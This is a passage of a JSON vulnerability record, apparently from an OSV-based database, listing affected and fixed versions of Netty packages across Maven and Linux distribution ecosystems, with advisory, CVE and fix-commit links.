.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"Debian:12","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16","1:4.1.48-7","1:4.1.48-7+deb12u1","1:4.1.48-7+deb12u2","1:4.1.48-8","1:4.1.48-9"]},{"source":"osv","ecosystem":"Debian:13","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-10+deb13u1","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16"]},{"source":"osv","ecosystem":"Debian:14","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Alpha1"},{"fixed":"4.2.13.Final"}]}],"versions":["4.2.0.Alpha1","4.2.0.Alpha2","4.2.0.Alpha3","4.2.0.Alpha4","4.2.0.Alpha5","4.2.0.Beta1","4.2.0.Final","4.2.0.RC1","4.2.0.RC2","4.2.0.RC3","4.2.0.RC4","4.2.1.Final","4.2.10.Final","4.2.11.Final","4.2.12.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final","4.2.5.Final","4.2.6.Final","4.2.7.Final","4.2.8.Final","4.2.9.Final"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.133.Final"}]}],"versions":["4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.101.Final","4.1.102.Final","4.1.103.Final","4.1.104.Final","4.1.105.Final","4.1.106.Final","4.1.107.Final","4.1.108.Final","4.1.109.Final","4.1.11.Final","4.1.110.Final","4.1.111.Final","4.1.112.Final","4.1.113.Final","4.1.114.Final","4.1.115.Final","4.1.116.Final","4.1.117.Final","4.1.118.Final","4.1.119.Final","4.1.12.Final","4.1.120.Final","4.1.121.Final","4.1.122.Final","4.1.123.Final","4.1.124.Final","4.1.125.Final","4.1.126.Final","4.1.127.Final","4.1.128.Final","4.1.129.Final","4.1.13.Final","4.1.130.Final","4.1.131.Final","4.1.132.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final"}]}],"versions":["4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.11.Final","4.1.12.Final","4.1.13.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"]},{"source":"osv","ecosystem":"Red Hat Lightwell:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final-rhlw-00001"}]}],"versions":["4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.11.Final","4.1.12.Final","4.1.13.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"],"bundled":6},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.97.Final-root.io.1"},{"fixed":"4.1.97.Final-root.io.2"},{"fixed":"4.1.97.Final-root.io.3"},{"fixed":"4.1.97.Final-root.io.4"},{"fixed":"4.1.97.Final-root.io.5"},{"fixed":"4.1.97.Final-root.io.6"},{"fixed":"4.1.97.Final-root.io.7"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.97.Final-aikido.7"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.133-150200.4.46.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:4.1.7-4ubuntu0.1+esm6"}]}],"versions":["1:4.1.7-4","1:4.1.7-4ubuntu0.1~esm1","1:4.1.7-4ubuntu0.1","1:4.1.7-4ubuntu0.1+esm1","1:4.1.7-4ubuntu0.1+esm2","1:4.1.7-4ubuntu0.1+esm3","1:4.1.7-4ubuntu0.1+esm4","1:4.1.7-4ubuntu0.1+esm5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:4.1.45-1ubuntu0.1~esm6"}]}],"versions":["1:4.1.33-1","1:4.1.33-2","1:4.1.33-3","1:4.1.45-1","1:4.1.45-1ubuntu0.1~esm1","1:4.1.45-1ubuntu0.1~esm2","1:4.1.45-1ubuntu0.1~esm3","1:4.1.45-1ubuntu0.1~esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:4.1.48-4+deb11u2ubuntu0.1+esm3"}]}],"versions":["1:4.1.48-4","1:4.1.48-4+deb11u1build0.22.04.1","1:4.1.48-4+deb11u2build0.22.04.1","1:4.1.48-4+deb11u2ubuntu0.1~esm1","1:4.1.48-4+deb11u2ubuntu0.1~esm2","1:4.1.48-4+deb11u2ubuntu0.1","1:4.1.48-4+deb11u2ubuntu0.1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:4.1.48-9ubuntu0.1+esm3"}]}],"versions":["1:4.1.48-7","1:4.1.48-8","1:4.1.48-9","1:4.1.48-9ubuntu0.1~esm1","1:4.1.48-9ubuntu0.1~esm2","1:4.1.48-9ubuntu0.1","1:4.1.48-9ubuntu0.1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-10ubuntu0.25.10.1","1:4.1.48-10ubuntu0.25.10.2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-16","1:4.1.48-16ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:4.1.48-16ubuntu0.1~esm2"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-16"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.133-1.1"}]}],"bundled":12}],"affected_more":665,"products":[{"vendor":"io.netty","product":"netty-codec-redis"},{"vendor":"netty","product":"netty"}],"references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4","tags":["web"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86","tags":["web"]},{"url":"https://redis.io/docs/reference/protocol-spec","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42586","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rgrr-p7gp-5xj7","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-xpw8-rcwv-8f8p","tags":["web"]},{"url":"https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61","tags":["web"]},{"url":"https://github.com/apple/swift-nio-http2/security/advisories/GHSA-qppj-fm5r-hxr3","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-44487","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-44487","tags":["web"]},{"url":"https://github.com/advisories/GHSA-xpw8-rcwv-8f8p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42586.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-42586","tags":["advisory"]},{"url":"https://github.com/netty/netty","tags":["package"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.135.Final","tags":["web"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.15.Final","tags":["web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44250.json","tags":["web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:37390","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41951","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50085","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53644","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53645","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53646","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44250","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44250.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-3244-j874-rhc2","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44250","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3244-j874-rhc2","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44890.json","tags":["web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44890","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44890.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-6ghj-frrj-jjj3","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44890","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6ghj-frrj-jjj3","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48006.json","tags":["web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48006","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48006.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-6jv9-x5w9-2ccm","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48006","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6jv9-x5w9-2ccm","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50011.json","tags":["web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-50011","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/50xxx/CVE-2026-50011.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-5w86-c3rq-vjj7","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50011","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5w86-c3rq-vjj7","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56818.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-p9jm-q85p-7mcp","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56818","tags":["advisory"]},{"url":"https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b","tags":["fix"]},{"url":"https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6","tags":["fix"]},{"url":"https://github.com/netty/netty/pull/17065","tags":["fix"]},{"url":"https://github.com/advisories/GHSA-p9jm-q85p-7mcp","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20262308-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1264350","tags":["report"]},{"url":"https://bugzilla.suse.com/1265243","tags":["report"]},{"url":"https://bugzilla.suse.com/1265245","tags":["report"]},{"url":"https://bugzilla.suse.com/1265246","tags":["report"]},{"url":"https://bugzilla.suse.com/1265272","tags":["report"]},{"url":"https://bugzilla.suse.com/1265273","tags":["report"]},{"url":"https://bugzilla.suse.com/1265277","tags":["report"]},{"url":"https://bugzilla.suse.com/1265279","tags":["report"]},{"url":"https://bugzilla.suse.com/1265280","tags":["report"]},{"url":"https://bugzilla.suse.com/1265292","tags":["report"]},{"url":"https://bugzilla.suse.com/1265294","tags":["report"]},{"url":"https://bugzilla.suse.com/1265318","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41417","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42578","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42579","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42580","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42581","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42583","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42584"